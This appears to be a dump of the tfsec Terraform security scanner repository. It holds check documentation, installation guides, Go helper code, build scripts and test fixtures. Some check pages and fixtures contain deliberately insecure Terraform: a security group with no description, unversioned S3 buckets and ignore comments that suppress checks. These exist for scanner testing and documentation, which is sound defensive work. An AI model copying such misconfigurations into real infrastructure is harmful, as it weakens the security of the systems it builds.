Checks 8 | 9 | 10 | - [no-public-egress](no-public-egress) Public egress should not be allowed via network policies 11 | 12 | - [no-public-ingress](no-public-ingress) Public ingress should not be allowed via network policies 13 | 14 | 15 | 16 | -------------------------------------------------------------------------------- /docs/checks/openstack/compute/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: compute 3 | --- 4 | 5 | # compute 6 | 7 | ## Checks 8 | 9 | 10 | - [no-plaintext-password](no-plaintext-password) No plaintext password for compute instance 11 | 12 | - [no-public-access](no-public-access) A firewall rule allows traffic from/to the public internet 13 | 14 | 15 | 16 | -------------------------------------------------------------------------------- /docs/checks/openstack/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: openstack 3 | --- 4 | 5 | # openstack 6 | 7 | ## Services 8 | 9 | 10 | - [compute](compute) 11 | 12 | - [networking](networking) 13 | 14 | 15 | -------------------------------------------------------------------------------- /docs/checks/openstack/networking/describe-security-group/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Missing description for security group. 3 | --- 4 | 5 | # Missing description for security group. 6 | 7 | ### Default Severity: medium 8 | 9 | ### Explanation 10 | 11 | Security groups should include a description for auditing purposes. Simplifies auditing, debugging, and managing security groups. 12 | 13 | ### Possible Impact 14 | Auditing capability and awareness limited. 15 | 16 | ### Suggested Resolution 17 | Add descriptions for all security groups 18 | 19 | 20 | ### Insecure Example 21 | 22 | The following example will fail the openstack-networking-describe-security-group check. 23 | ```terraform 24 | 25 | resource "openstack_networking_secgroup_v2" "group_1" { 26 | } 27 | 28 | ``` 29 | 30 | 31 | 32 | ### Secure Example 33 | 34 | The following example will pass the openstack-networking-describe-security-group check. 35 | ```terraform 36 | 37 | resource "openstack_networking_secgroup_v2" "group_1" { 38 | description = "don't let just anyone in" 39 | } 40 | 41 | ``` 42 | 43 | 44 | 45 | 46 | -------------------------------------------------------------------------------- /docs/checks/openstack/networking/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: networking 3 | --- 4 | 5 | # networking 6 | 7 | ## Checks 8 | 9 | 10 | - [describe-security-group](describe-security-group) Missing description for security group. 11 | 12 | - [no-public-egress](no-public-egress) A security group rule allows egress traffic to multiple public addresses 13 | 14 | - [no-public-ingress](no-public-ingress) A security group rule allows ingress traffic from multiple public addresses 15 | 16 | 17 | 18 | -------------------------------------------------------------------------------- /docs/checks/oracle/compute/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: compute 3 | --- 4 | 5 | # compute 6 | 7 | ## Checks 8 | 9 | 10 | - [no-public-ip](no-public-ip) Compute instance requests an IP reservation from a public pool 11 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /docs/checks/oracle/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: oracle 3 | --- 4 | 5 | # oracle 6 | 7 | ## Services 8 | 9 | 10 | - [compute](compute) 11 | 12 | 13 | -------------------------------------------------------------------------------- /docs/css/extra.css: -------------------------------------------------------------------------------- 1 | .severity { 2 | border-radius: 5px; 3 | padding: 10px; 4 | } 5 | 6 | .critical { 7 | background: red; 8 | color: white; 9 | } 10 | 11 | .high { 12 | background: orangered; 13 | color: white; 14 | } 15 | 16 | .medium { 17 | background: orange; 18 | color: white; 19 | } 20 | 21 | .low { 22 | background: darkgray; 23 | color: white; 24 | } -------------------------------------------------------------------------------- /docs/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aquasecurity/tfsec/b692c20b68c0121346b7b34e81d6b1867ca8e1a8/docs/favicon.ico -------------------------------------------------------------------------------- /docs/guides/credit.md: -------------------------------------------------------------------------------- 1 | # Authors 2 | 3 | - [Liam Galvin][liamg] (liamg) 4 | - [Owen Rumney][owenrumney] (owenrumney) 5 | 6 | # Contributors 7 | 8 | Thanks to all [contributors][contributors] 9 | 10 | [liamg]: https://github.com/liamg 11 | [owenrumney]: https://github.com/owenrumney 12 | [contributors]: https://github.com/aquasecurity/tfsec/graphs/contributors -------------------------------------------------------------------------------- /docs/guides/github-actions/pr-commenter.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Github Action - PR Commenter 3 | description: Github Action - PR Commenter 4 | subtitle: Adding tfsec PR commenter to your GitHub project 5 | description: Adding tfsec PR commenter to your GitHub project 6 | author: tfsec 7 | tags: [installation, github action, PR commenting] 8 | --- 9 | 10 | ## What is it? 11 | 12 | The PR Commenter action will process a Pull request and add comments to any areas of the change which fail the `tfsec` checks. 13 | 14 | ## Adding the action 15 | 16 | 17 | To add the action, add tfsec_pr_commenter.yml into the .github/workflows directory in the root of your Github project. 18 | 19 | ![Setup a new workflow](../../imgs/newworkflow.png) 20 | 21 | The contents of tfsec_pr_commenter.yml should be; 22 | 23 | ```yaml 24 | {% raw %} 25 | name: tfsec-pr-commenter 26 | on: 27 | pull_request: 28 | jobs: 29 | tfsec: 30 | name: tfsec PR commenter 31 | runs-on: ubuntu-latest 32 | 33 | steps: 34 | - name: Clone repo 35 | uses: actions/checkout@master 36 | 37 | - name: tfsec 38 | uses: tfsec/tfsec-pr-commenter-action@main 39 | with: 40 | github_token: ${{ secrets.GITHUB_TOKEN }} 41 | {% endraw %} 42 | ``` 43 | 44 | 45 | On each pull request and subsequent commit, tfsec will run and add comments to the PR where tfsec has failed. 46 | 47 | The comment will only be added once per transgression. 48 | 49 | ## Example PR Comment 50 | 51 | The screenshot below demonstrates the comments that can be expected when using the action 52 | 53 | ![PR Commenter Example](../../imgs/pr_commenter.png) 54 | -------------------------------------------------------------------------------- /docs/guides/installation.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Installation 3 | description: Installation 4 | subtitle: Installing tfsec on your local machine 5 | description: Installing tfsec on your local machine 6 | author: tfsec 7 | tags: [installation, quickstart] 8 | --- 9 | Install with [brew/linuxbrew](https://brew.sh) 10 | 11 | 12 | ```bash 13 | brew install tfsec 14 | ``` 15 | 16 | Install with [Chocolatey](https://chocolatey.org/) 17 | 18 | ```cmd 19 | choco install tfsec 20 | ``` 21 | 22 | Install with [Scoop](https://scoop.sh/) 23 | 24 | ```cmd 25 | scoop install tfsec 26 | ``` 27 | You can also grab the binary for your system from the [releases page](https://github.com/aquasecurity/tfsec/releases). 28 | 29 | Alternatively, install with Go: 30 | 31 | ```bash 32 | go install github.com/aquasecurity/tfsec/cmd/tfsec@latest 33 | ``` 34 | 35 | 36 | 37 | 38 | -------------------------------------------------------------------------------- /docs/guides/quickstart.md: -------------------------------------------------------------------------------- 1 | ## Using as a command line tool 2 | 3 | The easiest way to run `tfsec` is to run it in the directory you want to scan. 4 | 5 | ```bash 6 | tfsec 7 | ``` 8 | 9 | `tfsec` will traverse the directory till it finds a valid [Terraform] file; the directory it finds this file in will be considered to the working directory. 10 | 11 | If you want to run on a specific location, this can be passed as an argument; 12 | 13 | ```bash 14 | tfsec ./tf/prod 15 | ``` 16 | 17 | 18 | The exit status will be non-zero if tfsec finds problems, otherwise the exit status will be zero. 19 | 20 | 21 | 22 | ## Use with Docker 23 | 24 | As an alternative to installing and running tfsec on your system, you may 25 | run tfsec in a Docker container. 26 | 27 | To run: 28 | 29 | ```bash 30 | docker run --rm -it -v "$(pwd):/src" aquasec/tfsec /src 31 | ``` 32 | 33 | ## Using in CI 34 | 35 | `tfsec` can be added to any CI pipeline as a command with the exit code dictating if it breaks the build. 36 | 37 | We do provide a [GitHub Action] that will also upload the results to GitHub code scanning UI. 38 | 39 | 40 | ## Passing Arguments 41 | 42 | This page only covers the basics of what `tfsec` can do - much more is achievable using the arguments on the [Parameters] page. 43 | 44 | 45 | 46 | [Terraform]: https://www.terraform.io 47 | [GitHub Action]: ../github-actions/github-action 48 | [Parameters]: ../usage 49 | -------------------------------------------------------------------------------- /docs/guides/trivy.md: -------------------------------------------------------------------------------- 1 | # Moving towards configuration scanning with Trivy 2 | Overtime we've taken [trivy][trivy] to be the go-to scanning tool for a variety of things. This also includes terraform scanning. 3 | 4 | This section describes some differences between Trivy and tfsec. 5 | 6 | | Feature | Trivy | tfsec | 7 | |----------------------|--------------------------------------------------------|----------------------| 8 | | Policy Distribution | Embedded and Updated via Registry | Embedded | 9 | | Custom Policies | Rego | Rego, JSON, and YAML | 10 | | Supported Formats | Dockerfile, JSON, YAML, Terraform, CloudFormation etc. | Terraform Only | 11 | 12 | 13 | # Comparison with examples 14 | ## Simple scan 15 | ### With Trivy 16 | ```shell 17 | $ trivy config 18 | ``` 19 | ### With tfsec 20 | ```shell 21 | $ tfsec 22 | ``` 23 | 24 | ## Passing tfvars 25 | ### With Trivy 26 | ```shell 27 | $ trivy --tf-vars 28 | ``` 29 | ### With tfsec 30 | ```shell 31 | $ tfsec --tf-vars-file 32 | ``` 33 | 34 | ## Report formats 35 | ### With Trivy 36 | ```shell 37 | $ trivy config --format 38 | ``` 39 | 40 | ### With tfsec 41 | ```shell 42 | $ tfsec --format 43 | ``` 44 | 45 | We welcome any feedback if you find features that today are not available with Trivy misconfigration scanning that are available in tfsec. 46 | 47 | [trivy]: https://github.com/aquasecurity/trivy 48 | -------------------------------------------------------------------------------- /docs/imgs/codescanning.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aquasecurity/tfsec/b692c20b68c0121346b7b34e81d6b1867ca8e1a8/docs/imgs/codescanning.png -------------------------------------------------------------------------------- /docs/imgs/demo.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aquasecurity/tfsec/b692c20b68c0121346b7b34e81d6b1867ca8e1a8/docs/imgs/demo.gif -------------------------------------------------------------------------------- /docs/imgs/homelogo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aquasecurity/tfsec/b692c20b68c0121346b7b34e81d6b1867ca8e1a8/docs/imgs/homelogo.png -------------------------------------------------------------------------------- /docs/imgs/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aquasecurity/tfsec/b692c20b68c0121346b7b34e81d6b1867ca8e1a8/docs/imgs/logo.png -------------------------------------------------------------------------------- /docs/imgs/logonav.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aquasecurity/tfsec/b692c20b68c0121346b7b34e81d6b1867ca8e1a8/docs/imgs/logonav.png -------------------------------------------------------------------------------- /docs/imgs/newworkflow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aquasecurity/tfsec/b692c20b68c0121346b7b34e81d6b1867ca8e1a8/docs/imgs/newworkflow.png -------------------------------------------------------------------------------- /docs/imgs/pr_commenter.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aquasecurity/tfsec/b692c20b68c0121346b7b34e81d6b1867ca8e1a8/docs/imgs/pr_commenter.png -------------------------------------------------------------------------------- /docs/imgs/tfsec.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aquasecurity/tfsec/b692c20b68c0121346b7b34e81d6b1867ca8e1a8/docs/imgs/tfsec.png -------------------------------------------------------------------------------- /docs/requirements.txt: -------------------------------------------------------------------------------- 1 | mike 2 | mkdocs-macros-plugin 3 | mkdocs-include-markdown-plugin 4 | mkdocs-material -------------------------------------------------------------------------------- /internal/pkg/custom/complex_checks.go: -------------------------------------------------------------------------------- 1 | package custom 2 | 3 | import ( 4 | "fmt" 5 | 6 | "github.com/aquasecurity/defsec/pkg/terraform" 7 | ) 8 | 9 | func checkTags(block *terraform.Block, spec *MatchSpec, customCtx *customContext) bool { 10 | expectedTag := fmt.Sprintf("%v", spec.MatchValue) 11 | 12 | if block.HasChild("tags") { 13 | tagsBlock := block.GetAttribute("tags") 14 | if tagsBlock.Contains(expectedTag) { 15 | return true 16 | } 17 | } 18 | 19 | var alias string 20 | if block.HasChild("provider") { 21 | aliasRef := block.GetAttribute("provider").AllReferences() 22 | if len(aliasRef) > 0 { 23 | alias = aliasRef[0].String() 24 | } 25 | } 26 | 27 | awsProviders := customCtx.module.GetProviderBlocksByProvider("aws", alias) 28 | for _, providerBlock := range awsProviders { 29 | if providerBlock.HasChild("default_tags") { 30 | defaultTags := providerBlock.GetBlock("default_tags") 31 | if defaultTags.HasChild("tags") { 32 | tags := defaultTags.GetAttribute("tags") 33 | if tags.Contains(expectedTag) { 34 | return true 35 | } 36 | } 37 | } 38 | } 39 | return false 40 | } 41 | 42 | func ofType(block *terraform.Block, spec *MatchSpec) bool { 43 | switch value := spec.MatchValue.(type) { 44 | case []interface{}: 45 | for _, v := range value { 46 | if block.TypeLabel() == v { 47 | return true 48 | } 49 | } 50 | } 51 | 52 | return false 53 | } 54 | -------------------------------------------------------------------------------- /internal/pkg/custom/custom_context.go: -------------------------------------------------------------------------------- 1 | package custom 2 | 3 | import "github.com/aquasecurity/defsec/pkg/terraform" 4 | 5 | type customCheckVariables map[string]string 6 | 7 | type customContext struct { 8 | module *terraform.Module 9 | variables customCheckVariables 10 | } 11 | 12 | func NewEmptyCustomContext() *customContext { 13 | return &customContext{ 14 | module: nil, 15 | variables: make(customCheckVariables), 16 | } 17 | } 18 | 19 | func NewCustomContext(module *terraform.Module) *customContext { 20 | return &customContext{ 21 | module: module, 22 | variables: make(customCheckVariables), 23 | } 24 | } 25 | 26 | func NewCustomContextWithVariables(module *terraform.Module, variables customCheckVariables) *customContext { 27 | return &customContext{ 28 | module: module, 29 | variables: variables, 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /internal/pkg/formatter/gif.go: -------------------------------------------------------------------------------- 1 | package formatter 2 | 3 | import ( 4 | "github.com/aquasecurity/defsec/pkg/scan" 5 | scanner "github.com/aquasecurity/defsec/pkg/scanners/terraform" 6 | 7 | "github.com/aquasecurity/defsec/pkg/formatters" 8 | "github.com/liamg/gifwrap/pkg/ascii" 9 | ) 10 | 11 | func GifWithMetrics(metrics scanner.Metrics, theme string, withColours bool) func(b formatters.ConfigurableFormatter, results scan.Results) error { 12 | return func(b formatters.ConfigurableFormatter, results scan.Results) error { 13 | 14 | failCount := len(results.GetFailed()) 15 | 16 | gifSrc := "https://media.giphy.com/media/kyLYXonQYYfwYDIeZl/source.gif" 17 | 18 | if failCount > 0 { 19 | gifSrc = "https://i.giphy.com/media/A1SxC5HRrD3MY/source.gif" 20 | } 21 | 22 | if renderer, err := ascii.FromURL(gifSrc, true); err == nil { 23 | renderer.SetFill(true) 24 | _ = renderer.PlayOnce() 25 | } 26 | 27 | return DefaultWithMetrics(metrics, false, theme, withColours, false)(b, results) 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /internal/pkg/metrics/count.go: -------------------------------------------------------------------------------- 1 | package metrics 2 | 3 | import ( 4 | "fmt" 5 | "sync" 6 | ) 7 | 8 | type CounterMetric interface { 9 | Metric 10 | Increment(delta int) 11 | } 12 | 13 | type counter struct { 14 | sync.Mutex 15 | name string 16 | count uint64 17 | } 18 | 19 | // Counter creates a new counter metric (or returns an existing one if one already exists with this name and category) 20 | func Counter(category, name string) CounterMetric { 21 | return newCounter(category, name, false) 22 | } 23 | 24 | // DebugCounter creates a new debug counter metric (or returns an existing one if one already exists with this name and category) 25 | func DebugCounter(category, name string) CounterMetric { 26 | return newCounter(category, name, true) 27 | } 28 | 29 | func newCounter(category string, name string, debug bool) CounterMetric { 30 | if metric := useCategory(category, debug).findMetric(name); metric != nil { 31 | if c, ok := metric.(CounterMetric); ok { 32 | return c 33 | } 34 | } 35 | count := &counter{ 36 | name: name, 37 | } 38 | useCategory(category, debug).setMetric(count) 39 | return count 40 | } 41 | 42 | func (c *counter) Name() string { 43 | return c.name 44 | } 45 | 46 | func (c *counter) Value() string { 47 | return fmt.Sprintf("%d", c.count) 48 | } 49 | 50 | func (c *counter) Increment(delta int) { 51 | c.Lock() 52 | defer c.Unlock() 53 | c.count += uint64(delta) 54 | } 55 | -------------------------------------------------------------------------------- /internal/pkg/metrics/metric.go: -------------------------------------------------------------------------------- 1 | package metrics 2 | 3 | type Metric interface { 4 | Name() string 5 | Value() string 6 | } 7 | -------------------------------------------------------------------------------- /internal/pkg/metrics/timer.go: -------------------------------------------------------------------------------- 1 | package metrics 2 | 3 | import ( 4 | "sync" 5 | "time" 6 | ) 7 | 8 | type TimerMetric interface { 9 | Metric 10 | Start() 11 | Stop() 12 | } 13 | 14 | type timerMetric struct { 15 | sync.Mutex 16 | name string 17 | started time.Time 18 | total time.Duration 19 | } 20 | 21 | // Timer returns a new timer (or returns an existing one if one exists with this category and name) 22 | func Timer(category, name string) TimerMetric { 23 | return newTimer(category, name, false) 24 | } 25 | 26 | // DebugTimer returns a new debug timer (or returns an existing one if one exists with this category and name) 27 | func DebugTimer(category, name string) TimerMetric { 28 | return newTimer(category, name, true) 29 | } 30 | 31 | func newTimer(category string, name string, debug bool) TimerMetric { 32 | if metric := useCategory(category, debug).findMetric(name); metric != nil { 33 | if c, ok := metric.(TimerMetric); ok { 34 | return c 35 | } 36 | } 37 | timer := &timerMetric{ 38 | name: name, 39 | started: time.Now(), 40 | } 41 | useCategory(category, debug).setMetric(timer) 42 | return timer 43 | } 44 | 45 | func (t *timerMetric) Start() { 46 | now := time.Now() 47 | t.Lock() 48 | defer t.Unlock() 49 | t.started = now 50 | 51 | } 52 | 53 | func (t *timerMetric) Stop() { 54 | now := time.Now() 55 | t.Lock() 56 | defer t.Unlock() 57 | t.total += now.Sub(t.started) 58 | } 59 | 60 | func (t *timerMetric) Name() string { 61 | return t.name 62 | } 63 | 64 | func (t *timerMetric) Value() string { 65 | return t.total.String() 66 | } 67 | -------------------------------------------------------------------------------- /scanningalert.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aquasecurity/tfsec/b692c20b68c0121346b7b34e81d6b1867ca8e1a8/scanningalert.png -------------------------------------------------------------------------------- /screenshot.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aquasecurity/tfsec/b692c20b68c0121346b7b34e81d6b1867ca8e1a8/screenshot.png -------------------------------------------------------------------------------- /scripts/build.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | BINARY=tfsec 4 | CHECK_GEN_BINARY=tfsec-checkgen 5 | TAG=${TRAVIS_TAG:-development} 6 | GO111MODULE=on 7 | export CGO_ENABLED=0 8 | args=(-ldflags "-X github.com/aquasecurity/tfsec/version.Version=${TAG} -s -w -extldflags '-fno-PIC -static'") 9 | 10 | mkdir -p bin/darwin 11 | GOOS=darwin GOARCH=amd64 go build -o bin/darwin/${BINARY}-darwin-amd64 "${args[@]}" ./cmd/tfsec/ 12 | GOOS=darwin GOARCH=amd64 go build -o ./bin/darwin/${CHECK_GEN_BINARY}-darwin-amd64 "${args[@]}" ./cmd/tfsec-checkgen/ 13 | mkdir -p bin/linux 14 | GOOS=linux GOARCH=amd64 go build -o bin/linux/${BINARY}-linux-amd64 "${args[@]}" ./cmd/tfsec/ 15 | GOOS=linux GOARCH=amd64 go build -o bin/linux/${CHECK_GEN_BINARY}-linux-amd64 "${args[@]}" ./cmd/tfsec-checkgen/ 16 | mkdir -p bin/windows 17 | GOOS=windows GOARCH=amd64 go build -o bin/windows/${BINARY}-windows-amd64.exe "${args[@]}" ./cmd/tfsec/ 18 | GOOS=windows GOARCH=amd64 go build -o bin/windows/${CHECK_GEN_BINARY}-windows-amd64.exe "${args[@]}" ./cmd/tfsec-checkgen/ 19 | -------------------------------------------------------------------------------- /scripts/build_checks_nav.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import os 4 | import yaml 5 | 6 | 7 | class PrettyDumper(yaml.SafeDumper): 8 | def write_line_break(self, data=None): 9 | super().write_line_break(data) 10 | 11 | if len(self.indents) == 1: 12 | super().write_line_break() 13 | 14 | 15 | checks = [] 16 | 17 | for provider in sorted(os.listdir('./docs/checks')): 18 | services = [] 19 | for service in sorted(os.listdir(f'./docs/checks/{provider}')): 20 | service_checks = [] 21 | if service == 'home.md' or service == 'index.md': 22 | services.append( 23 | {provider: f'checks/{provider}/home.md'}) 24 | continue 25 | 26 | for check in sorted(os.listdir(f'./docs/checks/{provider}/{service}')): 27 | check_name = check.replace('.md', '') 28 | if check_name == 'index': 29 | print(f'skipping {check}') 30 | continue 31 | service_checks.append( 32 | {check_name: f'checks/{provider}/{service}/{check}/index.md'}) 33 | 34 | services.append({service: service_checks}) 35 | checks.append({provider: services}) 36 | 37 | with open('mkdocs.yml', 'r') as fr: 38 | mkdocs_file = yaml.safe_load(fr) 39 | 40 | nav_block = mkdocs_file.get('nav', []) 41 | for sect in nav_block: 42 | for i in sect: 43 | if i == 'Checks': 44 | nav_block.remove(sect) 45 | 46 | nav_block.append({'Checks': checks}) 47 | 48 | mkdocs_file['nav'] = nav_block 49 | 50 | 51 | with open('mkdocs.yml', 'w') as fw: 52 | yaml.dump(mkdocs_file, fw, Dumper=PrettyDumper, sort_keys=False) 53 | -------------------------------------------------------------------------------- /scripts/clone-images.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | set -x 4 | 5 | function clone_image() { 6 | 7 | IMAGE=$1 8 | OWNER=$2 9 | 10 | if [ -z $IMAGE ]; then 11 | echo "You need to provide an image name, exiting" 12 | exit 1 13 | fi 14 | 15 | docker tag aquasec/${IMAGE} ${OWNER}/${IMAGE} 16 | echo "pushing ${OWNER}/${IMAGE}" 17 | docker push ${OWNER}/${IMAGE} 18 | } 19 | 20 | OWNER=$1 21 | 22 | RESULTS=$(docker image list --format {{.Repository}}:{{.Tag}} | grep aquasec/tfsec | awk -F/ '{print $2}') 23 | 24 | for RESULT in $RESULTS; do 25 | clone_image $RESULT $OWNER 26 | done 27 | -------------------------------------------------------------------------------- /scripts/install.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | set -eux 4 | 5 | env GO111MODULE=on CGO_ENABLED=0 go build -ldflags "-X github.com/aquasecurity/tfsec/version.Version=${1}" ./cmd/tfsec 6 | -------------------------------------------------------------------------------- /scripts/publish-docs.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | set -ex 4 | 5 | DEPLOY_REPO="https://${DOCS_GITHUB_TOKEN}@github.com/tfsec/tfsec.github.io.git" 6 | MESSAGE=$(git log -1 HEAD --pretty=format:%s) 7 | 8 | function clone_site { 9 | echo "getting latest site" 10 | git clone --depth 1 "${DEPLOY_REPO}" _site 11 | } 12 | 13 | function deploy { 14 | echo "deploying changes" 15 | pushd _site 16 | git config --global user.name "GitHub Actions Build" 17 | git config --global user.email github-actions@tfsec.dev 18 | git add -A 19 | git remote set-url origin "${DEPLOY_REPO}" 20 | git commit -m "GitHub Actions Build: ${GITHUB_RUN_ID}. ${MESSAGE}" || true 21 | git push --set-upstream origin main || true 22 | popd 23 | } 24 | 25 | clone_site 26 | go run ./cmd/tfsec-docs 27 | cp -r checkdocs/docs/* ./_site/_docs/ 28 | cp -r checkdocs/data/* ./_site/_data/ 29 | cp -r checkdocs/codes.json ./_site/assets/codes.json 30 | deploy 31 | 32 | rm -rf checkdocs 33 | -------------------------------------------------------------------------------- /scripts/update-wiki.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | pushd ../tfsec.wiki 4 | git pull 5 | git add . 6 | git commit -a -m "Updating links and wiki entries" 7 | git push 8 | popd -------------------------------------------------------------------------------- /test/issues_test.go: -------------------------------------------------------------------------------- 1 | package test 2 | 3 | import ( 4 | "testing" 5 | 6 | "github.com/stretchr/testify/assert" 7 | ) 8 | 9 | // see https://github.com/aquasecurity/tfsec/issues/1661 10 | func Test_Issue_1661(t *testing.T) { 11 | out, err, _ := runWithArgs("./testdata/issues/1661") 12 | results := parseLovely(t, out) 13 | assert.Equal(t, "", err) 14 | assertResultsNotContain(t, results, "aws-rds-enable-performance-insights-encryption") 15 | } 16 | -------------------------------------------------------------------------------- /test/testdata/badhcl/main.tf: -------------------------------------------------------------------------------- 1 | resource "blah" "something" { -------------------------------------------------------------------------------- /test/testdata/config-minimum-severity/config.yml: -------------------------------------------------------------------------------- 1 | minimum_severity: MEDIUM -------------------------------------------------------------------------------- /test/testdata/config/config.yml: -------------------------------------------------------------------------------- 1 | --- 2 | exclude: 3 | - aws-s3-enable-versioning 4 | -------------------------------------------------------------------------------- /test/testdata/config/main.tf: -------------------------------------------------------------------------------- 1 | resource "aws_s3_bucket" "bad" { 2 | 3 | } 4 | -------------------------------------------------------------------------------- /test/testdata/custom/custom_tfchecks.json: -------------------------------------------------------------------------------- 1 | { 2 | "checks": [ 3 | { 4 | "code": "CUS001", 5 | "description": "A thing happens.", 6 | "impact": "Everything descends into ruin.", 7 | "resolution": "Give up.", 8 | "requiredTypes": [ 9 | "resource" 10 | ], 11 | "requiredLabels": [ 12 | "special" 13 | ], 14 | "severity": "ERROR", 15 | "matchSpec": { 16 | "name": "ok", 17 | "action": "equals", 18 | "value": "true" 19 | }, 20 | "errorMessage": "Alarm!", 21 | "relatedLinks": [ 22 | "https://google.com" 23 | ] 24 | } 25 | ] 26 | } -------------------------------------------------------------------------------- /test/testdata/custom/main.tf: -------------------------------------------------------------------------------- 1 | resource "special" "pass" { 2 | # this should always pass! 3 | ok = true 4 | } -------------------------------------------------------------------------------- /test/testdata/custom_url/custom_check.tf: -------------------------------------------------------------------------------- 1 | resource "aws_instance" "non_compliant" { 2 | ami = "ami-1234" 3 | instance_type = "t2.small" 4 | 5 | tags = { 6 | Department = "Finance" 7 | } 8 | 9 | } 10 | 11 | resource "aws_instance" "compliant" { 12 | ami = "ami-12345" 13 | instance_type = "t2.small" 14 | cpu_core_count = 4 15 | 16 | tags = { 17 | Department = "Finance" 18 | CostCentre = "CC1234" 19 | } 20 | } 21 | 22 | resource "aws_s3_bucket" "unversioned_bucket" { 23 | bucket = "my-tf-test-bucket" 24 | acl = "private" 25 | } 26 | 27 | #tfsec:ignore:AWS017:exp:2021-01-01:ws:testworkspace 28 | resource "aws_s3_bucket" "versioned_bucket" { 29 | bucket = "my-tf-test-bucket" 30 | acl = "private" 31 | 32 | versioning { 33 | enabled = true 34 | } 35 | } 36 | # tfsec:ignore:AWS017 37 | resource "aws_s3_bucket" "disabled_versioned_bucket" { 38 | bucket = "my-tf-test-bucket" 39 | acl = "private" 40 | 41 | versioning { 42 | enabled = true 43 | } 44 | } 45 | 46 | module "custom_bucket" { 47 | source = "./modules/public_custom_bucket" 48 | bucket_name = "new-public-bucket" 49 | acl = "private" 50 | } 51 | 52 | #tfsec:ignore:aws-s3-enable-bucket-encryption 53 | resource "aws_s3_bucket" "bucket_with_public_acl" { 54 | bucket = "my-tf-test-bucket" 55 | // acl = "public-read" 56 | // 57 | versioning { 58 | enabled = true 59 | } 60 | } 61 | -------------------------------------------------------------------------------- /test/testdata/custom_url/modules/public_custom_bucket/main.tf: -------------------------------------------------------------------------------- 1 | resource "aws_s3_bucket" "custom_module_bucket" { 2 | bucket = var.bucket_name 3 | acl = var.acl 4 | 5 | versioning { 6 | enabled = true 7 | } 8 | } 9 | 10 | variable "bucket_name" { 11 | type = string 12 | description = "The name of the bucket" 13 | } 14 | 15 | variable "acl" { 16 | type = string 17 | description = "The acl to use" 18 | } -------------------------------------------------------------------------------- /test/testdata/custom_url/tfsec.json: -------------------------------------------------------------------------------- 1 | { 2 | "severity_overrides": { 3 | "CUS002": "HIGH", 4 | "AWS025": "WARNING" 5 | } 6 | } -------------------------------------------------------------------------------- /test/testdata/custom_url/tfsec.yaml: -------------------------------------------------------------------------------- 1 | --- 2 | severity_overrides: 3 | CUS002: HIGH 4 | AWS025: LOW -------------------------------------------------------------------------------- /test/testdata/external-module/main.tf: -------------------------------------------------------------------------------- 1 | 2 | module "enforce_mfa" { 3 | source = "terraform-module/enforce-mfa/aws" 4 | version = "0.12.0" 5 | 6 | policy_name = "managed-mfa-enforce" 7 | manage_own_signing_certificates = true 8 | manage_own_ssh_public_keys = true 9 | manage_own_git_credentials = true 10 | } 11 | 12 | -------------------------------------------------------------------------------- /test/testdata/fail/main.tf: -------------------------------------------------------------------------------- 1 | 2 | resource "aws_s3_bucket" "bkt" { 3 | 4 | } 5 | -------------------------------------------------------------------------------- /test/testdata/group/main.tf: -------------------------------------------------------------------------------- 1 | 2 | module "fail1" { 3 | source = "../fail" 4 | } 5 | 6 | module "fail2" { 7 | source = "../fail" 8 | } 9 | -------------------------------------------------------------------------------- /test/testdata/ignored/main.tf: -------------------------------------------------------------------------------- 1 | 2 | // tfsec:ignore:* 3 | resource "aws_s3_bucket" "bkt" { 4 | 5 | } 6 | -------------------------------------------------------------------------------- /test/testdata/issues/1661/.gitignore: -------------------------------------------------------------------------------- 1 | !.terraform 2 | .terraform/providers -------------------------------------------------------------------------------- /test/testdata/issues/1661/.terraform/modules/modules.json: -------------------------------------------------------------------------------- 1 | {"Modules":[{"Key":"","Source":"","Dir":"."},{"Key":"application_db","Source":"./database","Dir":"database"}]} -------------------------------------------------------------------------------- /test/testdata/issues/1661/database/main.tf: -------------------------------------------------------------------------------- 1 | # tfsec:ignore:aws-rds-enable-performance-insights-encryption 2 | resource "aws_db_instance" "module_db" { 3 | apply_immediately = true 4 | identifier = "${var.platform_name}-module-db" 5 | availability_zone = "${data.aws_region.current.name}a" 6 | username = "awsrdsdba" 7 | allocated_storage = 20 8 | password = var.db_admin_password 9 | engine = "postgres" 10 | engine_version = "14.2" 11 | multi_az = false 12 | instance_class = "db.t3.micro" 13 | db_subnet_group_name = aws_db_subnet_group.db_subnet_group.id 14 | backup_window = "00:00-00:30" 15 | maintenance_window = "sat:01:00-sat:02:00" 16 | backup_retention_period = 7 17 | storage_encrypted = true 18 | vpc_security_group_ids = [aws_security_group.db_security_group.id] 19 | skip_final_snapshot = false 20 | final_snapshot_identifier = "${var.platform_name}-final-snapshot" 21 | allow_major_version_upgrade = true 22 | auto_minor_version_upgrade = true 23 | publicly_accessible = false 24 | copy_tags_to_snapshot = true 25 | performance_insights_enabled = true 26 | } -------------------------------------------------------------------------------- /test/testdata/issues/1661/main.tf: -------------------------------------------------------------------------------- 1 | 2 | module "application_db" { 3 | source = "./database" 